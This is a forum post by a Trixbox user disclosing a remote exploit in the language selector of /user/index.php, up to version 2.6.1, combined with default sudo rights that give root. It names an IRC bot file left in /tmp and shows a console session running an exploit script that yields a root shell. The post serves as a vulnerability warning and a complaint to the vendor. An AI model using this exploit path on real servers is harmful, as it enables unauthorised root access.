Hello community..
I logged in to my trixbox today, only to discover that it had been remotely exploited. How could this be, I wondered? With my history of forensic analysis of common exploits and DDoS activity, I got to work. My machine was infact connected to an IRC server at irc.flashchat.net with a random nickname.
I started digging a little deeper, and found a file in /tmp called ".k" which contained the perl script necessary to connect to the IRC server. You might want to check your boxes for this file as well, to see if your machine has been compromised.
Oh yeah, and I tracked down how it was exploited, too! :)
There is a vulnerability in /user/index.php by exploiting the code which selects the language you wish to be displayed. This is present in all versions of TrixBox, up to and including 2.6.1.
After digging some more, I found that someone else discovered this exploit just a few days ago and has already contacted fonality about it. I performed a yum update and upgrade, but I am still vulnerable. This exploit not only allows for remote execution of commands as the asterisk user (which httpd runs as, how silly) but since the asterisk user is permitted to execute commands as root via sudo by default (uhh.. guys? hello?) you are able to obtain a remote ROOT shell in about 5 seconds.
Here is an example of me rooting a brand new trixbox server:
# perl tblocalfile.pl my.poor.trixbox.server.com
Choose:
1> Remote Root/Asterisk shell
2> Read a file from the remote server
: 1
Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk] root
Press enter to continue...
bash: no job control in this shell
bash-3.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
bash-3.1#
Dear Fonality: These exploits are real and they are in the wild. Its been at LEAST a week since you have been notified of this problem, and there's still no patch available. This is more than a "possible threat" - Ive talked to two other people besides myself today who have been hit by a worm looking for this hole.
Dear Trixbox CE users: I would suggest updating every hour if need be so you can get the patch as soon as Fonality decides to release it
Credits:
Jean-Michel BESNARD of LEXSI Audit.


Member Since:
2007-11-20